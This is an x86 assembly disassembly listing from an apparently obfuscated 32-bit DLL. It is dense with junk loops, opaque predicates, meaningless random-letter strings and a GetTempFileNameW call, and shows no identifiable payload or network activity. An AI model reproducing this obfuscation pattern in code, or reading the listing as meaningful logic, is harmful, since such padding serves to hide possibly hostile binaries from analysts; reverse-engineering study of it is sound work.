cmp dword [ebp - 0x58], edi
jle 0x10036f74
dec dword [ebp - 0x30]
jmp 0x10036ebc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x224]
call fcn.10001c92
inc dword [ebp - 0x20]
jmp 0x10036e72
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1003707a
push 0x3511
push 0x5372
push ebx
push ebx
mov dl, 1
mov ecx, 0x519f
call fcn.10034d71
add esp, 0x10
dec dword [ebp - 0x18]
xor ecx, ecx
inc ecx
jmp 0x10036e62
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x1c], ebx
jmp 0x100370a9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110], 0x8884515f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10037098
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x1a
jle 0x100371cc
mov dword [ebp - 0x24], 0x3948
mov dword [ebp - 0x44], 0xfffffffd
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100370e2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ec], 0xbdebf889
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100370d1
mov byte [ebp - 0x69], bl
mov dword [ebp - 0x38], 0x240d
cmp dword [ebp - 0x38], 0x25f9
jle 0x10037147
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x504]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003711d
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x504]
call fcn.100022c2
inc esi
cmp esi, 0x4c27
jl 0x100370fe
inc edi
cmp edi, 0x733f
jl 0x100370fc
xor ecx, ecx
inc ecx
push ecx
push ecx
push ecx
push ecx
lea ecx, [ebp - 0x69]
call fcn.10032736
add esp, 0x10
cmp dword [ebp - 0x38], 0x23a2
jge 0x1003716a
push str.ggee_hdcou_pzd_roo
call fcn.10042041
pop ecx
or dword [ebp - 4], 0xffffffff
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
cmp eax, 0x1ba0
setle dl
xor eax, eax
mov dword [ebp - 0x110], edx
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x20]
cmp edx, ecx
setle al
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jg 0x100371af
cmp dword [ebp - 0x24], ebx
je 0x100371af
xor eax, eax
inc eax
jmp 0x100371b1
mov eax, ebx
xor ecx, ecx
add eax, 8
cmp eax, 0xfc80
setg cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
inc dword [ebp - 0x20]
inc ecx
jmp 0x100370b1
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10037328
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x1003731d
mov dword [ebp - 0x1c], 0x53e3f36a
mov dword [ebp - 0x24], 0x800
cmp dword [ebp - 0x24], 0x877
jle 0x1003724f
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x4a4]
or eax, edi
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10037228
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a4]
call fcn.100022c2
inc esi
cmp esi, 0x6320
jl 0x1003720c
inc edi
cmp edi, 0x1343
jl 0x1003720a
mov dword [ebp - 0x3c], 0xac06e326
cmp dword [ebp - 0x24], 0x72c
jge 0x1003726a
push str.zcrp_hmemmolbq_xidbrdkm_epdq_clujq_xsgjnfw_tanqoa_wzibjrsrf_lpdlklv_mzrfcouh_rkglf_hyf
call fcn.10042041
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1d4], 1
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x100372ca
push 1
push 0x22d7
push 0x7f7c
push 1
push 0x98f
push 0x50d4
push 0x7d65
push 0x84d
push 0x68ea
push 0x2500
push 0x7024
push 0x66c1
mov edx, 0x65af
mov cl, 1
call fcn.100334dc
add esp, 0x30
dec dword [ebp - 0x1c]
jns 0x10037280
mov dword [ebp - 0x1c], ebx
jmp 0x10037310
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x110], ebx
jne 0x10037315
push 0x343a
push ebx
push 0xb92
lea eax, [ebp - 0x1d4]
mov edx, 0x13e
push eax
push 0x10aa
push 0x2321
push 1
push 1
mov ecx, 0x7bfe
call fcn.10032913
add esp, 0x20
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x100372cf
dec dword [ebp - 0x20]
jmp 0x100371e8
dec dword [ebp - 0x18]
xor ecx, ecx
inc ecx
jmp 0x100371cf
mov dword [ebp - 0xa0], 0x7f6af112
lea ecx, [ebp - 0x2a4]
push 2
mov dword [ebp - 0x38], 0x10070bd0
call fcn.10001c0f
lea eax, [ebp - 0x33c]
mov dword [ebp - 4], 0x1d
push eax
push ecx
push 0x1fbd
push ecx
push 1
push 0x151b
lea edx, [ebp - 0x2a4]
call fcn.10033796
add esp, 0x18
mov dword [ebp - 0xa0], 0xfffffffd
jmp 0x100373b6
push ecx
mov dword [ebp - 0x164], 0xc19c5a65
lea ecx, [ebp - 0x7a]
mov byte [ebp - 0x7a], bl
mov dl, 1
call fcn.100338bf
push ecx
push 0x33c2
lea eax, [ebp - 0x164]
mov ecx, 0x13ab
push 1
push eax
call fcn.10031e3e
add esp, 0x14
dec dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], 0xffffffea
jle 0x1003737c
push 0x69c0
push ecx
lea eax, [ebp - 0xa0]
mov edx, 0x1bc7
push eax
push ecx
lea eax, [ebp - 0x2a4]
push ebx
push eax
call fcn.10033796
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a4]
add esp, 0x18
call fcn.10001c92
mov eax, dword [ebp - 0x40]
mov cl, byte [0x10070bd0]
mov byte [ebp - 0xf8], cl
mov dl, byte [eax]
call fcn.10039c85
mov byte [0x10070bd0], al
mov dword [ebp - 0x18], 0xb5d
cmp dword [ebp - 0x18], 0xf33
jle 0x10037474
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x30], 0x26bb
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x40], ecx
lea eax, [edi + ebx]
sar eax, cl
mov ecx, 0x100742b8
cdq
push edx
push eax
call fcn.1000793a
mov ecx, dword [ebp - 0x40]
add ecx, esi
dec dword [ebp - 0x30]
mov dword [ebp - 0x40], ecx
jne 0x10037432
inc esi
push 0
pop ebx
cmp esi, 0x3b39
jl 0x10037423
inc edi
cmp edi, 0x353f
jl 0x10037421
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x6c12
jl 0x1003741f
mov dword [ebp - 0x80], 0xfffd
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x18], 0x864
jge 0x1003749a
mov edx, str.hfn_nssdsnsot_erdyvqgzv_ckre_chqpewqr_qpncp_rvaqagbnp_fjar_dedoni_qddd_xdapyvfhd
mov ecx, 0x100742b8
call fcn.10009c90
or dword [ebp - 4], 0xffffffff
push 0x43e1
push 1
lea eax, [ebp - 0x80]
mov dword [ebp - 0x98], 0xfd4914d2
push eax
push 0x189
lea eax, [ebp - 0x98]
mov edx, 0x41f1
push eax
push 0x5103
push ebx
push 1
mov ecx, 0x7b3
call fcn.10032913
add esp, 0x20
mov dword [ebp - 0x98], ebx
jmp 0x100375bc
mov dword [ebp - 0x70], ebx
cmp dword [ebp - 0x70], ebx
je 0x10037581
push 1
lea eax, [ebp - 0x1b4]
mov dword [ebp - 0x1b4], 0xfffffffe
push eax
push ecx
push ecx
push 0x2354
lea edx, [ebp - 0x16c]
mov dword [ebp - 0x16c], 0xa6957688
lea ecx, [ebp - 0x70]
call fcn.10032f47
add esp, 0x14
mov edx, 0x7517
push 0x21cc
push 0x14de
push 1
push 0x384d
push ecx
push 0x69f6
push 0xa8
push 0x4673
push 1
push 0xa65
push ecx
push ebx
mov ecx, 0x3383
call fcn.10035819
add esp, 0x30
jmp 0x100375b6
mov dword [ebp - 0x80], ebx
jmp 0x100375ab
mov dword [ebp - 0x70], 0xffffffe6
jmp 0x100375a2
push 0x2183
push 1
push ecx
call fcn.100357d5
add esp, 0xc
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x28
jne 0x1003758f
inc dword [ebp - 0x80]
cmp dword [ebp - 0x80], 0x2b
jle 0x10037586
cmp dword [ebp - 0x80], ebx
jne 0x100375c9
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], 1
jne 0x10037506
xor edi, edi
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 4
jge 0x10037941
push 1
push ebx
mov dl, 1
mov ecx, 0xcf8
call fcn.10035178
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
mov al, byte [edi + ecx]
mov byte [ebp - 0x59], al
mov dword [ebp - 0x18], 0x5b57fd54
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x44], 0xb7d869e7
mov dword [ebp - 0x44], 0xbbbbfefa
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xfffffffa
jl 0x100378f7
mov dword [ebp - 0x20], 0x82bd7b1c
lea ecx, [ebp - 0x23c]
mov dword [ebp - 0x24], 0xfd574417
push 3
call fcn.10001c0f
push 0x24b6
push 0x5822
push 0x779c
push 0x16c0
lea eax, [ebp - 0x8c]
mov dword [ebp - 4], 0x20
push eax
push ebx
push 1
lea edx, [ebp - 0x23c]
xor cl, cl
call fcn.100353a7
add esp, 0x1c
mov dword [ebp - 0x8c], ebx
jmp 0x1003768a
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x3a4], 1
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 2
jl 0x10037673
mov dword [ebp - 0x20], 0x10
cmp dword [ebp - 0x20], ebx
jne 0x10037874
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x44], 0x7001
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x100376ca
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb0], 0x949dfcf0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100376b9
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x100377a9
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x40], 0x50c7
cmp dword [ebp - 0x40], 0x50df
jle 0x1003771a
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x100742b8
or eax, esi
cdq
push edx
push eax
call fcn.1000793a
inc edi
cmp edi, 0x22fd
jl 0x100376f7
inc esi
cmp esi, 0x2c9
jl 0x100376f5
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x40], 0x4df5
jge 0x10037754
mov edx, str.yzku_vagea_rxiwbv_kcvkvh_eozlu_myvnyrzls
mov ecx, 0x100742b8
call fcn.10009c90
jmp 0x10037754
mov dword [ebp - 4], 0x20
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x44]
je 0x10037774
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x1c]
jmp 0x100376d3
mov byte [ebp - 0x6b], bl
mov dword [ebp - 0x40], 0x2392
cmp dword [ebp - 0x40], 0x2745
jle 0x1003781c
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, ecx
lea ecx, [ebp - 0x4bc]
sub eax, edx
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100377e6
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4bc]
call fcn.100022c2
mov ecx, dword [ebp - 0x30]
inc esi
cmp esi, 0x1ace
jl 0x100377c5
inc edi
cmp edi, 0x6caf
jl 0x100377c3
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x1ce4
jl 0x100377c1
push 0x66f6
lea eax, [ebp - 0x6b]
mov dl, 1
push eax
push 0xe45
push 0x68e
push 0x6fd
push 1
push 0x237c
push 0x7e59
push 0x3191
mov cl, dl
call fcn.10033f73
add esp, 0x24
cmp dword [ebp - 0x40], 0x22d4
jge 0x10037865
push str.dhlwqszh_opxkltsd_kddhfcxfh_ltpex_cmcpf_mcy_plq_zocgq_miguk_sfowsk_irucjol_mykthwdu_ckqnzvr
call fcn.10042041
pop ecx
mov dword [ebp - 4], 0x20
dec dword [ebp - 0x20]
jmp 0x1003769a
mov eax, dword [ebp - 0x20]
xor edx, edx
mov esi, dword [ebp - 0x23c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x40], 0x60be
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, dword [esi + 4]
setle cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [esi + 4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp eax, 5
setle cl
cmp dword [ebp - 0x20], ecx
jge 0x100378c6
xor eax, eax
inc eax
jmp 0x100378c8
mov eax, ebx
mov dword [ebp - 0x3a4], eax
lea ecx, [ebp - 0x23c]
add eax, 0xfffffffa
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x23c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x44], eax
or dword [ebp - 4], 0xffffffff
call fcn.10001c92
dec dword [ebp - 0x18]
jmp 0x10037611
mov edi, dword [ebp - 0x2c]
mov eax, edi
cdq
idiv dword [ebp - 0x34]
mov cl, byte [ebp - 0x59]
mov esi, edx
mov dl, byte [ebp - 0xf8]
call fcn.10039c85
mov dl, byte [esi + 0x10070af0]
mov cl, al
call fcn.10039c85
mov byte [edi + 0x10070bd0], al
lea edx, [ebp - 0x59]
lea eax, [ebp - 0xf8]
push eax
push 0x478f
push ebx
call fcn.10034fae
add esp, 0xc
inc edi
jmp 0x100375cc
mov dword [ebp - 0x20], 0x4b733c63
xor edx, edx
mov dword [ebp - 0x2c], 0xd0881826
mov dword [ebp - 0x2c], 0xb38b4b72
mov dword [ebp - 0xd4], 8
mov dword [ebp - 0xc4], 0xfffffffb
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xd1649bc0
setg cl
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xcaad901
jl 0x1003799b
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], 0xc8f9
mov eax, dword [ebp - 0x2c]
cmp eax, 0x519d
setl cl
xor edx, edx
mov dword [ebp - 0xd4], ecx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xfff9
setl cl
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], ebx
je 0x10037a98
push ebx
push 0x7933
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x1bc], ebx
push eax
push 0x2f55
push 0x194
push 1
push 0x1df8
push 0x7b78
push 0x5346
mov edx, 0x2c7e
mov cl, 1
call fcn.10034df9
add esp, 0x24
lea eax, [ebp - 0x1bc]
mov edx, 0x468f
mov cl, 1
push 1
push 0xbb0
push 0x1168
push eax
push 0x23a7
lea eax, [ebp - 0xc4]
push eax
push 1
call fcn.100340b1
add esp, 0x1c
jmp 0x10037ac6
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x178], 0xa2d3c5eb
push eax
push 1
push ecx
push ecx
lea eax, [ebp - 0x178]
mov ecx, 0x3169
push eax
push 0x1133
call fcn.100327c8
add esp, 0x18
mov ecx, dword [ebp - 0x38]
mov edi, dword [ecx]
mov dword [ebp - 0x1c], 0x6fe7d8a8
mov dword [ebp - 0x2c], 0x237
cmp dword [ebp - 0x2c], 0x30d
mov dword [ebp - 0x24], edi
jle 0x10037b31
push ebx
push 0xebf
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov eax, esi
mov ecx, 0x100742b8
cdq
idiv ebx
mov eax, edi
sub eax, edx
cdq
push edx
push eax
call fcn.1000793a
inc ebx
cmp ebx, 0x1cbf
jl 0x10037afa
inc esi
push 0
pop ebx
cmp esi, 0x6f54
jl 0x10037af7
inc edi
cmp edi, 0x4262
jl 0x10037af5
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x1c4], 0xfffffffb
mov dword [ebp - 4], 0x25
cmp dword [ebp - 0x2c], 0xfffffeb2
jge 0x10037b5a
mov edx, str.clsroyyf_ynewl_oooe_tbdiu_huoaavmi_nmtnmpauv_ooydcj_jpe_dcrunx_wjo_nomdy_bkomi_fjmb
mov ecx, 0x100742b8
call fcn.10009c90
or dword [ebp - 4], 0xffffffff
push 3
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x10037b9c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x444], 0x540d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10037b8b
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x10037c42
mov dword [ebp - 0x18], 0x3b9da4d0
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], ebx
jl 0x10037c1c
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x30], ebx
jl 0x10037bd9
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x444], ebx
jne 0x10037bd9
dec dword [ebp - 0x30]
jns 0x10037bc8
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037c17
push 1
push 0x1864
push 0x3063
push 0x76a2
push 0x3763
push ebx
push 0x77c8
push 0x23e4
push 0x24fa
mov edx, 0x2eb1
mov cl, 1
call fcn.10034df9
add esp, 0x24
dec dword [ebp - 0x18]
jns 0x10037bbd
sub esp, 0x14
lea edx, [ebp - 0x1c4]
push 0x6012
push 0x66fc
push 1
call fcn.10034dde
add esp, 0x20
dec dword [ebp - 0x1c]
jns 0x10037bae
test edi, edi
jle 0x1003874a
cmp edi, 0x30f4
jae 0x1003874a
push dword [ebp - 0x34]
mov edx, edi
push ecx
push dword [ebp - 0xf8]
push dword [ebp - 0x38]
call fcn.10031da6
mov dword [ebp - 0x30], 0xe1e87df2
add esp, 0x10
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], ebx
jmp 0x10037c90
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x474], 0xf0ea
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10037c7f
mov dword [ebp - 0x30], 1
cmp dword [ebp - 0x30], ebx
jl 0x10037ce0
mov dword [ebp - 0x1cc], 1
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037cbc
xor cl, cl
call fcn.10035da7
lea eax, [ebp - 0x1cc]
mov dl, 1
push eax
push 0x7ced
push 1
push 0x2073
mov cl, dl
call fcn.10034550
add esp, 0x10
dec dword [ebp - 0x30]
jns 0x10037ca2
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10037cf9
push ebx
push ecx
push ecx
mov ecx, 0x6002
call fcn.10033047
add esp, 0xc
push ecx
push ecx
push 1
push 0x105755ec
mov ecx, 0x7278
call fcn.100355f9
add esp, 0x10
lea ecx, [ebp - 0x20c]
push 2
call fcn.10001c0f
xor ecx, ecx
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x90], ebx
inc ecx
jmp 0x10037d45
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x194], 0xc204e2db
inc dword [ebp - 0x90]
cmp dword [ebp - 0x90], ecx
jl 0x10037d2e
push 0x1cdd
lea eax, [ebp - 0x90]
xor dl, dl
push eax
push ecx
push ecx
lea ecx, [ebp - 0x20c]
call fcn.10034d71
add esp, 0x10
mov byte [ebp - 0x82], bl
lea eax, [ebp - 0x82]
mov edx, 0x3e47
push 0x109
push ecx
push 1
push ecx
push eax
push 0x13e7
push 1
push 0x66ed
push 0x5139
push 1
call fcn.10034b1b
mov eax, dword [ebp - 0x20c]
add esp, 0x28
mov dword [eax], ebx
cmp dword [eax], ebx
jl 0x10037ea8
mov dword [ebp - 0x18], 0x4438bea1
mov dword [ebp - 0x2c], 0x2555
cmp dword [ebp - 0x2c], 0x2768
jle 0x10037e23
mov eax, ebx
mov dword [ebp - 0x30], ebx
mov edi, ebx
mov esi, ebx
lea ecx, [esi + edi]
shl eax, cl
lea ecx, [ebp - 0x4ec]
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10037dee
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4ec]
call fcn.100022c2
mov eax, dword [ebp - 0x30]
inc esi
cmp esi, 0x5bc6
jl 0x10037dd1
inc edi
cmp edi, 0x6d5d
jl 0x10037dcf
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x15fb
jl 0x10037dcd
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10037e6f
mov dword [ebp - 0x30], 0xe41b66ba
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], ebx
jl 0x10037e6a
push 0x329d
push 0x36ed
push 0x36a5
push 0x602a
push 0x3504
push ebx
push 1
mov edx, 0x3999
mov cl, 1
call fcn.100353a7
add esp, 0x1c
dec dword [ebp - 0x30]
jns 0x10037e3a
dec dword [ebp - 0x18]
jns 0x10037e2b
cmp dword [ebp - 0x2c], 0x24b8
jge 0x10037e83
push str.tlgaap_ltsqc_rtgmvxp
call fcn.10042041
pop ecx
mov dword [ebp - 4], 0x27
mov eax, dword [ebp - 0x20c]
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x194], ebx
jne 0x10037ea8
mov eax, dword [ebp - 0x20c]
dec dword [eax]
jmp 0x10037da9
or edi, 0xffffffff
lea ecx, [ebp - 0x20c]
mov dword [ebp - 4], edi
call fcn.10001c92
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0x34], 0xfffffffb
push 3
mov dword [ebp - 0x2c], 0xc4475ee4
pop esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x18], ebx
jmp 0x10037ee9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x140], 0x3afc3718
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10037ed8
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x34]
setns cl
xor edx, edx
cmp ecx, 0x2c9ebf49
setl dl
sub edx, 0x29f58382
neg edx
sbb edx, edx
sub eax, 0x462415ae
inc edx
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x13c]
setg cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x13c]
setl dl
xor ecx, ecx
imul eax, edx
mov edx, dword [ebp - 0x34]
imul edx, eax
mov eax, dword [ebp - 0x140]
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setl dl
xor cl, cl
mov dword [ebp - 0x44], edx
call fcn.10034fc9
mov eax, dword [ebp - 0x38]
add eax, 4
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x18], ebx
jmp 0x10037f82
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3d0], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10037f75
push 0xc57
push 0x589f
push 1
push 1
mov dl, 1
mov ecx, 0x6cb6
call fcn.10034d71
add esp, 0x10
mov dword [ebp - 0x18], ebx
jmp 0x10037fb7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3d0], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10037faa
xor eax, eax
lea ecx, [ebp - 0x188]
push ecx
inc eax
lea ecx, [ebp - 0x1c0]
push eax
push ecx
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x370], eax
push ecx
push eax
mov dword [ebp - 0x3c8], 0xd664087a
mov dword [ebp - 0x380], edi
mov dword [ebp - 0x31c], 0x764939e6
push 0x484e
mov dword [ebp - 0x320], 0x89ced66e
push ecx
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x190]
push eax
push ecx
push 0x4890
push ebx
mov dword [ebp - 0x1c0], 0x1d691704
mov dword [ebp - 0x188], 0xcb085bb3
push ecx
call fcn.1003323f
mov byte [ebp - 0xf0], bl
add esp, 0x30
mov byte [ebp - 0xef], 0x2e
mov dword [ebp - 0xb8], 0xfffffffc
mov dword [ebp - 0x3a8], 0xecafe8b0
mov dword [ebp - 0xb8], 0xffffffe3
jmp 0x100380ac
push 1
lea ecx, [ebp - 0x2bc]
call fcn.10001c0f
mov dword [ebp - 0x18], ebx
jmp 0x1003808a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2bc]
mov dword [eax + ecx*4], 0xaa9ac70c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10038077
mov eax, dword [ebp - 0x2bc]
lea ecx, [ebp - 0x2bc]
mov dword [ebp - 4], edi
mov dword [eax], ebx
call fcn.10001c92
inc dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], 0xc
jl 0x10038065
push 0xa
pop eax
mov word [ebp - 0xec], ax
lea ecx, [ebp - 0x2d4]
xor eax, eax
mov word [ebp - 0xea], ax
mov dword [ebp - 0x134], 0x2124f84b
mov dword [ebp - 0x12c], edi
push esi
call fcn.10001c0f
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x158], 7
mov dword [ebp - 0x198], 7
mov dword [ebp - 0x18], ebx
jmp 0x10038117
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2d4]
mov dword [eax + ecx*4], 0xdf6b3e71
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10038104
push 0x1fee
push 1
push 0x64aa
push 0x4de2
push 0x1715
push 0x10b2
push 1
push 1
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x134]
call fcn.10032913
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0x12c]
push eax
push 1
push 0x6836
push 0x3d44
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x134]
push eax
lea edx, [ebp - 0x198]
call fcn.10032b42
add esp, 0x3c
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x2d4]
call fcn.10001c92
xor eax, eax
mov dword [ebp - 0x278], 7
mov word [ebp - 0x28c], ax
lea ecx, [ebp - 0x28c]
lea eax, [ebp - 0xec]
mov dword [ebp - 0x27c], ebx
push eax
call fcn.10008268
cmp dword [ebp - 0x278], 8
lea eax, [ebp - 0x28c]
push ebx
cmovae eax, dword [ebp - 0x28c]
lea ecx, [ebp - 0x28c]
push 1
movzx eax, word [eax]
mov dword [ebp - 0x184], eax
call fcn.1000242e
push 1
lea ecx, [ebp - 0x36c]
call fcn.10001c0f
mov dword [ebp - 4], 0x2e
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x118], 0x974b666a
